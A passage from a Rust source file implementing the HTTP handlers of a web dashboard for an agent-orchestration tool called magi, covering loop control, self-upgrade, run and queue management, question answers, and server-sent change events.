1858 Some(pid) => format!("another magi process (pid {pid})"),
1859 None => "another magi process".to_owned(),
1860 }
1861 }
1862}
1863
1864type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1869
1870fn launch_daemon(
1872 opts: daemon::Opts,
1873 stop: daemon::Stop,
1874) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1875 Box::pin(daemon::serve_until(opts, stop))
1876}
1877
1878#[derive(Debug, Default)]
1880struct LoopState {
1881 live: Option<Live>,
1883 rev: u64,
1891 last_error: Option<String>,
1894}
1895
1896#[derive(Debug)]
1898struct Live {
1899 stop: daemon::Stop,
1901 handle: tokio::task::JoinHandle<()>,
1906 opts: daemon::Opts,
1910}
1911
1912impl Live {
1913 fn alive(&self) -> bool {
1915 !self.handle.is_finished()
1916 }
1917}
1918
1919fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1926 state.lock().unwrap_or_else(PoisonError::into_inner)
1927}
1928
1929async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1931 blocking(move || {
1932 let reading = daemon::read_status(&ui.home);
1933 Ok(Json(ui.loop_view(reading)))
1934 })
1935 .await
1936}
1937
1938#[derive(Debug, Deserialize)]
1944#[serde(deny_unknown_fields)]
1945struct LoopCommand {
1946 running: bool,
1947 #[serde(default)]
1957 park: bool,
1958}
1959
1960async fn loop_post(
1968 State(ui): State<Arc<Ui>>,
1969 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1970) -> ApiResult<Json<LoopView>> {
1971 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1974 blocking(move || {
1975 let reading = daemon::read_status(&ui.home);
1976 let foreign = Foreign::of(reading.as_ref());
1977 if body.running {
1978 ui.start_loop(foreign)?;
1979 } else {
1980 ui.stop_loop(foreign, body.park)?;
1981 }
1982 Ok(Json(ui.loop_view(reading)))
1983 })
1984 .await
1985}
1986
1987#[derive(Debug, Serialize)]
1989struct UpgradeView {
1990 from: String,
1992 to: Option<String>,
1994 parked: Option<String>,
1996 detail: String,
1998}
1999
2000async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2024 let reading = daemon::read_status(&ui.home);
2025 if let Some(other) = Foreign::of(reading.as_ref()) {
2026 return Err(ApiError::conflict(format!(
2027 "the loop belongs to {}, so replacing this binary would leave \
2028 that process running an old one against the same queue. Upgrade \
2029 where it was started.",
2030 other.who()
2031 )));
2032 }
2033
2034 if crate::updater::disabled_by_env() {
2040 return Ok((
2041 StatusCode::OK,
2042 Json(UpgradeView {
2043 from: env!("CARGO_PKG_VERSION").to_owned(),
2044 to: None,
2045 parked: None,
2046 detail: format!(
2047 "Automatic updates are disabled by {}. Nothing was parked \
2048 and nothing restarted.",
2049 crate::updater::NO_AUTOUPDATE_ENV
2050 ),
2051 }),
2052 ));
2053 }
2054
2055 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2060 let from = env!("CARGO_PKG_VERSION").to_owned();
2061 let latest = match crate::updater::Checker::new(&cfg.update) {
2062 Some(checker) => checker
2063 .newer_release()
2064 .await
2065 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2066 None => None,
2067 };
2068 let Some(latest) = latest else {
2069 return Ok((
2070 StatusCode::OK,
2071 Json(UpgradeView {
2072 from,
2073 to: None,
2074 parked: None,
2075 detail: "Already on the newest release. Nothing was parked \
2076 and nothing restarted."
2077 .to_owned(),
2078 }),
2079 ));
2080 };
2081
2082 let parked = ui.park_for_upgrade()?;
2085 let detail = match &parked {
2086 Some(run) => format!(
2091 "Run {} is parking at its next step, which can take as long as \
2092 the step it is on - up to an hour for an implement wave. The \
2093 deck replaces itself once it parks, comes back, and the loop \
2094 carries that run on from where it stopped. Nothing is lost if \
2095 you close this.",
2096 crate::run::short_of(run)
2097 ),
2098 None => "The deck replaces itself and comes back. Nothing was in \
2099 flight to park."
2100 .to_owned(),
2101 };
2102
2103 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2107 progress.parked_run = parked.clone();
2108 let _ = updater::write_progress(&ui.home, &progress);
2109
2110 let home = ui.home.clone();
2111 tokio::spawn(async move {
2112 if let Err(e) = upgrade_and_restart(home.clone()).await {
2113 tracing::error!("the upgrade did not complete: {e:#}");
2114 if let Some(mut progress) = updater::read_progress(&home) {
2115 progress.fail(format!("{e:#}"));
2116 let _ = updater::write_progress(&home, &progress);
2117 }
2118 }
2119 });
2120
2121 Ok((
2122 StatusCode::ACCEPTED,
2123 Json(UpgradeView {
2124 from,
2125 to: Some(latest.tag_name),
2126 parked,
2127 detail,
2128 }),
2129 ))
2130}
2131
2132async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2137 crate::updater::run_self_update(true, false, true).await?;
2140 tracing::info!("binary replaced - asking the server to hand over");
2141 if let Some(mut progress) = updater::read_progress(&home) {
2142 progress.advance(updater::Stage::Replaced);
2143 let _ = updater::write_progress(&home, &progress);
2144 }
2145 HANDOVER.notify_one();
2146 Ok(())
2147}
2148
2149#[derive(Debug, Serialize)]
2155struct RunSummary {
2156 id: String,
2157 short: String,
2158 status: String,
2159 done: bool,
2160 instruction: String,
2161 title: String,
2162 repo: String,
2163 repo_name: String,
2164 created_at: String,
2165 updated_at: String,
2166 candidates: usize,
2167 viable: usize,
2168 judges: usize,
2169 winner: Option<char>,
2170 reviews: usize,
2171 quota_losses: usize,
2172 event: Option<String>,
2173 superseded_by: Option<String>,
2178 waiting: bool,
2185 live: crate::run::Liveness,
2189 pr: Option<crate::run::PrRecord>,
2191 unmerged_by_design: bool,
2197}
2198
2199impl RunSummary {
2200 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2201 Self {
2202 id: state.id.clone(),
2203 short: state.short().to_owned(),
2204 status: status_word(state.status),
2205 done: state.status.done(),
2206 unmerged_by_design: state.unmerged_by_design(),
2207 instruction: state.instruction.clone(),
2208 title: title_from(&state.instruction, TITLE_MAX),
2209 repo: state.repo.display().to_string(),
2210 repo_name: state
2211 .repo
2212 .file_name()
2213 .map(|n| n.to_string_lossy().into_owned())
2214 .unwrap_or_default(),
2215 created_at: state.created_at.to_string(),
2216 updated_at: state.updated_at.to_string(),
2217 candidates: state.candidates.len(),
2218 viable: state.viable().len(),
2219 judges: state.config.graph.judges,
2220 winner: state.winner().map(|c| c.label),
2221 reviews: state.reviews.len(),
2222 quota_losses: state.quota.len(),
2223 event: state.events.last().map(|e| e.message.clone()),
2224 waiting,
2225 live,
2226 superseded_by: None,
2229 pr: state.pr.clone(),
2230 }
2231 }
2232}
2233
2234fn status_word(status: RunStatus) -> String {
2237 status.as_str().to_owned()
2241}
2242
2243#[derive(Debug, Deserialize)]
2245struct ListQuery {
2246 #[serde(default)]
2247 limit: Option<usize>,
2248}
2249
2250async fn runs_list(
2251 State(ui): State<Arc<Ui>>,
2252 Query(q): Query<ListQuery>,
2253) -> ApiResult<Json<Vec<RunSummary>>> {
2254 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2255 blocking(move || {
2256 let superseded = superseded_runs(&ui.queue);
2257 let summaries = run_ids(&ui.runs)
2258 .into_iter()
2259 .filter_map(|id| read_run(&ui.runs, &id).ok())
2264 .take(limit)
2265 .map(|state| {
2266 let waiting = !ui.questions.open_for(&state.id).is_empty();
2267 let by = superseded.get(&state.id).cloned();
2268 let daemon_claims =
2269 crate::daemon::is_working_on(&ui.home, &state.id, jiff::Timestamp::now());
2270 let mut row = RunSummary::of(&state, waiting, state.liveness(daemon_claims));
2271 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2272 row
2273 })
2274 .collect();
2275 Ok(Json(summaries))
2276 })
2277 .await
2278}
2279
2280fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2293 let mut by = HashMap::new();
2294 for task in queue.list() {
2295 for pair in task.runs.windows(2) {
2296 if let [earlier, later] = pair {
2297 by.insert(earlier.clone(), later.clone());
2298 }
2299 }
2300 }
2301 by
2302}
2303
2304#[derive(Debug, Serialize)]
2311struct RunDetailView {
2312 #[serde(flatten)]
2313 state: RunState,
2314 instruction_md: Vec<md::Node>,
2315 live: crate::run::Liveness,
2330 unmerged_by_design: bool,
2335}
2336
2337impl RunDetailView {
2338 fn of(state: RunState, live: crate::run::Liveness) -> Self {
2339 Self {
2340 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2341 live,
2342 unmerged_by_design: state.unmerged_by_design(),
2343 state,
2344 }
2345 }
2346}
2347
2348async fn run_detail(
2349 State(ui): State<Arc<Ui>>,
2350 Path(id): Path<String>,
2351) -> ApiResult<Json<RunDetailView>> {
2352 blocking(move || {
2353 let id = resolve_run(&ui.runs, &id)?;
2354 let state = read_run(&ui.runs, &id)?;
2355 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2356 let live = state.liveness(daemon_claims);
2357 Ok(Json(RunDetailView::of(state, live)))
2358 })
2359 .await
2360}
2361
2362async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2371 let (id, unreadable) = {
2372 let ui = Arc::clone(&ui);
2373 blocking(move || {
2374 let id = resolve_run(&ui.runs, &id)?;
2375 match read_run(&ui.runs, &id) {
2376 Ok(state) => {
2377 let in_flight =
2378 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2379 state
2380 .ensure_can_delete(in_flight)
2381 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2382 let dir = ui.runs.join(&id);
2383 std::fs::remove_dir_all(&dir)
2384 .with_context(|| format!("remove run directory {}", dir.display()))?;
2385 Ok((id, false))
2386 }
2387 Err(_) => {
2388 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2392 return Err(ApiError::conflict(format!(
2393 "run {id} is being worked on by a live daemon right now"
2394 )));
2395 }
2396 Ok((id, true))
2397 }
2398 }
2399 })
2400 .await?
2401 };
2402 if unreadable {
2403 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2404 .await
2405 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2406 }
2407 let ui = Arc::clone(&ui);
2408 let done = id.clone();
2409 blocking(move || {
2410 ui.questions.abandon_for_run(
2413 &done,
2414 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2415 )?;
2416 Ok(())
2417 })
2418 .await?;
2419 Ok(StatusCode::NO_CONTENT)
2420}
2421
2422async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2446 let (id, state) = {
2447 let ui = Arc::clone(&ui);
2448 blocking(move || {
2449 let id = resolve_run(&ui.runs, &id)?;
2450 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2451 return Err(ApiError::conflict(format!(
2452 "run {id} is being worked on by a live daemon right now"
2453 )));
2454 }
2455 let state = read_run(&ui.runs, &id).ok();
2456 Ok((id, state))
2457 })
2458 .await?
2459 };
2460 let removed = match state {
2461 Some(mut state) => {
2462 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2463 .await
2464 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2465 if removed.is_empty() {
2470 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2471 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2472 }
2473 removed
2474 }
2475 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2476 .await
2477 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2478 };
2479 Ok(Json(FoldView {
2480 run: id,
2481 removed_count: removed.len(),
2482 removed,
2483 }))
2484}
2485
2486#[derive(Debug, Serialize)]
2488struct FoldView {
2489 run: String,
2490 removed: Vec<String>,
2492 removed_count: usize,
2493}
2494
2495async fn run_resume(
2515 State(ui): State<Arc<Ui>>,
2516 Path(id): Path<String>,
2517) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2518 let (id, state) = {
2519 let ui = Arc::clone(&ui);
2520 blocking(move || {
2521 let id = resolve_run(&ui.runs, &id)?;
2522 let state = read_run(&ui.runs, &id)?;
2523 Ok((id, state))
2524 })
2525 .await?
2526 };
2527 if !state.status.resumable() {
2528 return Err(ApiError::conflict(format!(
2529 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2530 state.short(),
2531 status_word(state.status)
2532 )));
2533 }
2534 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2539 .into_iter()
2540 .next()
2541 {
2542 return Err(ApiError::conflict(format!(
2543 "the loop is running run {} right now; stop it first, or wait for \
2544 it to finish, before resuming a run by hand.",
2545 crate::run::short_of(&work.run)
2546 )));
2547 }
2548 let _resume = ui.begin_resume(&id)?;
2549
2550 let queued = RunSummary::of(
2553 &state,
2554 !ui.questions.open_for(&id).is_empty(),
2555 state.liveness(false),
2556 );
2557 let run = id.clone();
2558 tokio::spawn(async move {
2559 let _resume = _resume;
2560 match crate::graph::Runner::resume(&run) {
2561 Ok(mut runner) => {
2562 if let Err(e) = runner.execute().await {
2563 tracing::warn!("resume of run {run} stopped: {e:#}");
2564 }
2565 }
2566 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2569 }
2570 });
2571 Ok((StatusCode::ACCEPTED, Json(queued)))
2572}
2573
2574async fn run_report(
2575 State(ui): State<Arc<Ui>>,
2576 Path(id): Path<String>,
2577) -> ApiResult<impl IntoResponse> {
2578 let text = blocking(move || {
2579 let id = resolve_run(&ui.runs, &id)?;
2580 let state = read_run(&ui.runs, &id)?;
2584 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2585 let live = state.liveness(daemon_claims);
2586 Ok(format!(
2587 "{}{}",
2588 report::run(&state),
2589 report::active_seats(&state, live)
2590 ))
2591 })
2592 .await?;
2593 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2594}
2595
2596#[derive(Debug, Serialize)]
2602struct TaskView {
2603 #[serde(flatten)]
2604 task: Task,
2605 source_label: String,
2606 status_str: &'static str,
2607 instruction_md: Vec<md::Node>,
2611}
2612
2613impl From<Task> for TaskView {
2614 fn from(task: Task) -> Self {
2615 Self {
2616 source_label: task.source.label(),
2617 status_str: task.status.as_str(),
2618 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2619 task,
2620 }
2621 }
2622}
2623
2624#[derive(Debug, Default, Deserialize)]
2627#[serde(default)]
2628struct ReposQuery {
2629 refresh: u8,
2630}
2631
2632async fn repos_list(
2639 State(ui): State<Arc<Ui>>,
2640 Query(q): Query<ReposQuery>,
2641) -> ApiResult<Json<Vec<repos::Repo>>> {
2642 let refresh = q.refresh != 0;
2643 blocking(move || {
2644 let (cfg, _) = Config::discover(&ui.repo, None)?;
2645 Ok(Json(ui.repos_cache.list(
2646 &cfg.repos.roots,
2647 Duration::from_secs(cfg.repos.scan_ttl),
2648 refresh,
2649 )))
2650 })
2651 .await
2652}
2653
2654async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2655 blocking(move || {
2656 Ok(Json(
2657 ui.queue.list().into_iter().map(TaskView::from).collect(),
2658 ))
2659 })
2660 .await
2661}
2662
2663#[derive(Debug, Default, Deserialize)]
2666#[serde(default, deny_unknown_fields)]
2667struct HoldBody {
2668 reason: Option<String>,
2669}
2670
2671async fn queue_hold(
2672 State(ui): State<Arc<Ui>>,
2673 Path(id): Path<String>,
2674 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2675) -> ApiResult<Json<TaskView>> {
2676 let body = match body {
2680 Ok(Json(body)) => body,
2681 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2682 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2683 };
2684 let reason = body.reason.filter(|r| !r.trim().is_empty());
2685 mutate(ui, id, move |t| {
2686 t.hold_manual(reason.clone());
2687 Ok(())
2688 })
2689 .await
2690}
2691
2692async fn queue_release(
2693 State(ui): State<Arc<Ui>>,
2694 Path(id): Path<String>,
2695) -> ApiResult<Json<TaskView>> {
2696 mutate(ui, id, |t| {
2697 t.release();
2698 Ok(())
2699 })
2700 .await
2701}
2702
2703#[derive(Debug, Deserialize)]
2705#[serde(deny_unknown_fields)]
2706struct PriorityBody {
2707 priority: i32,
2708}
2709
2710async fn queue_priority(
2716 State(ui): State<Arc<Ui>>,
2717 Path(id): Path<String>,
2718 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2719) -> ApiResult<Json<TaskView>> {
2720 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2721 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2722}
2723
2724#[derive(Debug, Deserialize)]
2726#[serde(deny_unknown_fields)]
2727struct EditBody {
2728 title: String,
2729 instruction: String,
2730}
2731
2732async fn queue_edit(
2736 State(ui): State<Arc<Ui>>,
2737 Path(id): Path<String>,
2738 body: std::result::Result<Json<EditBody>, JsonRejection>,
2739) -> ApiResult<Json<TaskView>> {
2740 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2741 mutate(ui, id, move |t| {
2742 t.edit(body.title.clone(), body.instruction.clone())
2743 })
2744 .await
2745}
2746
2747async fn queue_done(
2755 State(ui): State<Arc<Ui>>,
2756 Path(id): Path<String>,
2757) -> ApiResult<Json<TaskView>> {
2758 mutate(ui, id, |t| {
2759 t.succeed();
2760 Ok(())
2761 })
2762 .await
2763}
2764
2765async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2773 blocking(move || {
2774 let id = resolve_task(&ui.queue, &id)?;
2775 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2776 ui.queue
2777 .remove(&id, in_flight)
2778 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2779 Ok(StatusCode::NO_CONTENT)
2780 })
2781 .await
2782}
2783
2784async fn mutate(
2793 ui: Arc<Ui>,
2794 id: String,
2795 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2796) -> ApiResult<Json<TaskView>> {
2797 blocking(move || {
2798 let id = resolve_task(&ui.queue, &id)?;
2799 let _claim = ui.queue.claim(&id).map_err(|e| {
2804 ApiError::conflict(format!(
2805 "{e:#} - a daemon is running this task, so it cannot be \
2806 changed from here yet"
2807 ))
2808 })?;
2809 let mut task = ui.queue.get(&id)?;
2810 change(&mut task).map_err(ApiError::bad_request_from)?;
2811 ui.queue.put(&mut task)?;
2812 Ok(Json(TaskView::from(task)))
2813 })
2814 .await
2815}
2816
2817async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2825 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2826 tokio::spawn(async move {
2827 let mut ticker = tokio::time::interval(POLL);
2828 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2829 loop {
2830 ticker.tick().await;
2833 let state = Arc::clone(&ui);
2834 let revisions = tokio::task::spawn_blocking(move || {
2835 (
2836 state.queue.revision(),
2837 runs_revision(&state.runs),
2838 state.questions.revision(),
2839 state.talks.revision(),
2840 state.lock_loop().rev,
2844 )
2845 })
2846 .await;
2847 let Ok(revisions) = revisions else { break };
2848 if last == Some(revisions) {
2849 continue;
2850 }
2851 last = Some(revisions);
2852 let payload = serde_json::json!({
2853 "queue_rev": revisions.0,
2854 "runs_rev": revisions.1,
2855 "questions_rev": revisions.2,
2856 "talks_rev": revisions.3,
2857 "loop_rev": revisions.4,
2858 });
2859 let Ok(event) = Event::default().event("change").json_data(payload) else {
2861 break;
2862 };
2863 if tx.send(event).await.is_err() {
2864 break;
2865 }
2866 }
2867 });
2868 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2869 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2870}
2871
2872fn runs_revision(runs: &FsPath) -> u64 {
2879 use std::hash::{Hash as _, Hasher as _};
2880
2881 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2882 .into_iter()
2883 .flatten()
2884 .flatten()
2885 .filter_map(|e| {
2886 let path = e.path().join("run.json");
2887 let mtime = path
2888 .metadata()
2889 .ok()?
2890 .modified()
2891 .ok()?
2892 .duration_since(std::time::UNIX_EPOCH)
2893 .ok()?
2894 .as_millis() as u64;
2895 let id = e.file_name().to_string_lossy().into_owned();
2896 Some((id, mtime))
2897 })
2898 .collect();
2899
2900 if entries.is_empty() {
2901 return 0;
2902 }
2903
2904 entries.sort_unstable();
2905 let mut hasher = std::hash::DefaultHasher::new();
2906 for (id, mtime) in &entries {
2907 id.hash(&mut hasher);
2908 mtime.hash(&mut hasher);
2909 }
2910 let h = hasher.finish();
2911 if h == 0 { 1 } else { h }
2912}
2913
2914fn run_ids(runs: &FsPath) -> Vec<String> {
2920 let mut ids: Vec<String> = std::fs::read_dir(runs)
2921 .into_iter()
2922 .flatten()
2923 .flatten()
2924 .filter(|e| e.path().join("run.json").is_file())
2925 .map(|e| e.file_name().to_string_lossy().into_owned())
2926 .collect();
2927 ids.sort_unstable_by(|a, b| b.cmp(a));
2929 ids
2930}
2931
2932fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2934 let path = runs.join(id).join("run.json");
2935 let body =
2936 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2937 let state: RunState =
2938 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2939 if state.schema != run::SCHEMA {
2940 anyhow::bail!(
2941 "run {} was written by a different magi (schema {}, this build speaks {})",
2942 state.id,
2943 state.schema,
2944 run::SCHEMA
2945 );
2946 }
2947 Ok(state)
2948}
2949
2950#[must_use]
2958pub fn runs_unreadable(runs: &FsPath) -> usize {
2959 run_ids(runs)
2960 .into_iter()
2961 .filter(|id| read_run(runs, id).is_err())
2962 .count()
2963}
2964
2965fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2967 if runs.join(id).join("run.json").is_file() {
2968 return Ok(id.to_owned());
2969 }
2970 pick(run_ids(runs), id, "run")
2971}
2972
2973fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2975 if queue.path_of(id).is_file() {
2976 return Ok(id.to_owned());
2977 }
2978 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2979}
2980
2981#[derive(Debug, Serialize)]
2992struct QuestionView {
2993 #[serde(flatten)]
2994 question: Question,
2995 detail_md: Vec<md::Node>,
2996 waiting_on_agent: bool,
3006}
3007
3008impl From<Question> for QuestionView {
3009 fn from(question: Question) -> Self {
3010 let base = md::ImageBase::QuestionPanel {
3011 id: question.id.clone(),
3012 };
3013 Self {
3014 detail_md: md::to_nodes(&question.detail, &base),
3015 waiting_on_agent: question.waiting_on_agent(),
3016 question,
3017 }
3018 }
3019}
3020
3021async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3027 blocking(move || {
3028 Ok(Json(
3029 ui.questions
3030 .list()
3031 .into_iter()
3032 .map(QuestionView::from)
3033 .collect(),
3034 ))
3035 })
3036 .await
3037}
3038
3039#[derive(Debug, Default, Deserialize)]
3045#[serde(default, deny_unknown_fields)]
3046struct NewAnswer {
3047 choice: Option<String>,
3048 text: Option<String>,
3049}
3050
3051async fn question_answer(
3052 State(ui): State<Arc<Ui>>,
3053 Path(id): Path<String>,
3054 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3055) -> ApiResult<Json<QuestionView>> {
3056 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3057 let answer = match (body.choice, body.text) {
3058 (Some(c), None) => Answer::Choice(c),
3059 (None, Some(t)) => Answer::Text(t),
3060 (Some(_), Some(_)) => {
3061 return Err(ApiError::bad_request(
3062 "send either `choice` or `text`, not both",
3063 ));
3064 }
3065 (None, None) => {
3066 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3067 }
3068 };
3069
3070 blocking(move || {
3071 let id = resolve_question(&ui.questions, &id)?;
3072 let mut q = ui
3073 .questions
3074 .get(&id)
3075 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3076 if !q.status.open() {
3077 return Err(ApiError::conflict(format!(
3081 "question {} is already {}",
3082 q.short(),
3083 q.status.as_str()
3084 )));
3085 }
3086 q.answer(answer).map_err(ApiError::bad_request_from)?;
3090 ui.questions.put(&mut q)?;
3091 Ok(Json(QuestionView::from(q)))
3092 })
3093 .await
3094}
3095
3096#[derive(Debug, Deserialize)]
3098#[serde(deny_unknown_fields)]
3099struct NewSay {
3100 body: String,
3101}
3102
3103async fn question_say(
3113 State(ui): State<Arc<Ui>>,
3114 Path(id): Path<String>,
3115 body: std::result::Result<Json<NewSay>, JsonRejection>,
3116) -> ApiResult<Json<QuestionView>> {
3117 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3118 blocking(move || {
3119 let id = resolve_question(&ui.questions, &id)?;
3120 let mut q = ui
3121 .questions
3122 .get(&id)
3123 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3124 if !q.status.open() {
3125 return Err(ApiError::conflict(format!(
3129 "question {} is already {}",
3130 q.short(),
3131 q.status.as_str()
3132 )));
3133 }
3134 q.say(body.body).map_err(ApiError::bad_request_from)?;
3137 ui.questions.put(&mut q)?;
3138 Ok(Json(QuestionView::from(q)))
3139 })
3140 .await
3141}
3142
3143fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3145 if store.path_of(id).is_file() {
3146 return Ok(id.to_owned());
3147 }
3148 pick(
3149 store.list().into_iter().map(|q| q.id).collect(),
3150 id,
3151 "question",
3152 )
3153}
3154
3155async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3170 blocking(move || {
3171 let id = resolve_question(&ui.questions, &id)?;
3172 let Some(html) = ui.questions.panel_html(&id) else {
3173 return Err(ApiError::not_found(format!("question {id} has no panel")));
3174 };
3175 Ok(panel_response(
3176 "text/html; charset=utf-8",
3177 false,
3178 html.into_bytes(),
3179 ))
3180 })
3181 .await
3182}
3183
3184async fn question_asset(
3212 State(ui): State<Arc<Ui>>,
3213 Path((id, name)): Path<(String, String)>,
3214) -> ApiResult<Response> {
3215 if !crate::ask::valid_asset_name(&name) {
3218 return Err(ApiError::bad_request(format!(
3219 "`{name}` is not a usable asset name"
3220 )));
3221 }
3222 blocking(move || {
3223 let id = resolve_question(&ui.questions, &id)?;
3224 let asset = ui
3225 .questions
3226 .panel_asset(&id, &name)
3227 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3228 let Some(bytes) = asset else {
3229 return Err(ApiError::not_found(format!(
3230 "question {id} has no asset `{name}`"
3231 )));
3232 };
3233 Ok(panel_response(
3234 asset_content_type(&name),
3235 is_svg(&name),
3236 bytes,
3237 ))
3238 })
3239 .await
3240}
3241
3242fn asset_content_type(name: &str) -> &'static str {
3255 match extension(name).as_deref() {
3256 Some("png") => "image/png",
3257 Some("jpg" | "jpeg") => "image/jpeg",
3258 Some("gif") => "image/gif",
3259 Some("webp") => "image/webp",
3260 Some("svg") => "image/svg+xml",
3261 Some("css") => "text/css; charset=utf-8",
3262 Some("txt") => "text/plain; charset=utf-8",
3263 _ => "application/octet-stream",
3264 }
3265}
3266
3267fn is_svg(name: &str) -> bool {
3270 extension(name).as_deref() == Some("svg")
3271}
3272
3273fn extension(name: &str) -> Option<String> {
3275 name.rsplit_once('.')
3276 .map(|(_, ext)| ext.to_ascii_lowercase())
3277}
3278
3279fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3296 let mut res = (
3297 [
3298 (header::CONTENT_TYPE, content_type),
3299 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3300 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3301 (header::REFERRER_POLICY, "no-referrer"),
3302 ],
3303 body,
3304 )
3305 .into_response();
3306 if download {
3307 res.headers_mut().insert(
3308 header::CONTENT_DISPOSITION,
3309 HeaderValue::from_static("attachment"),
3310 );
3311 }
3312 res
3313}
3314
3315#[derive(Debug, Serialize)]
3321struct TalkView {
3322 #[serde(flatten)]
3323 talk: Talk,
3324 turn_bodies_md: Vec<Vec<md::Node>>,
3325 thinking: bool,
3333}
3334
3335impl TalkView {
3336 fn new(talk: Talk, thinking: bool) -> Self {
3337 let turn_bodies_md = talk
3338 .turns
3339 .iter()
3340 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3341 .collect();
3342 Self {
3343 turn_bodies_md,
3344 thinking,
3345 talk,
3346 }
3347 }
3348}
3349
3350#[derive(Debug, Serialize)]
3355struct TalkDetailView {
3356 #[serde(flatten)]
3357 view: TalkView,
3358 tasks: Vec<TaskView>,
3359}
3360
3361async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3366 blocking(move || {
3367 Ok(Json(
3368 ui.talks
3369 .list()
3370 .into_iter()
3371 .map(|talk| {
3372 let thinking = ui.is_thinking(&talk.id);
3373 TalkView::new(talk, thinking)
3374 })
3375 .collect(),
3376 ))
3377 })
3378 .await
3379}
3380
3381#[derive(Debug, Default, Deserialize)]
3386#[serde(default)]
3387struct NewTalk {
3388 agent: Option<String>,
3389 repo: Option<PathBuf>,
3390}
3391
3392async fn talk_post(
3395 State(ui): State<Arc<Ui>>,
3396 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3397) -> ApiResult<impl IntoResponse> {
3398 let body = match body {
3402 Ok(Json(body)) => body,
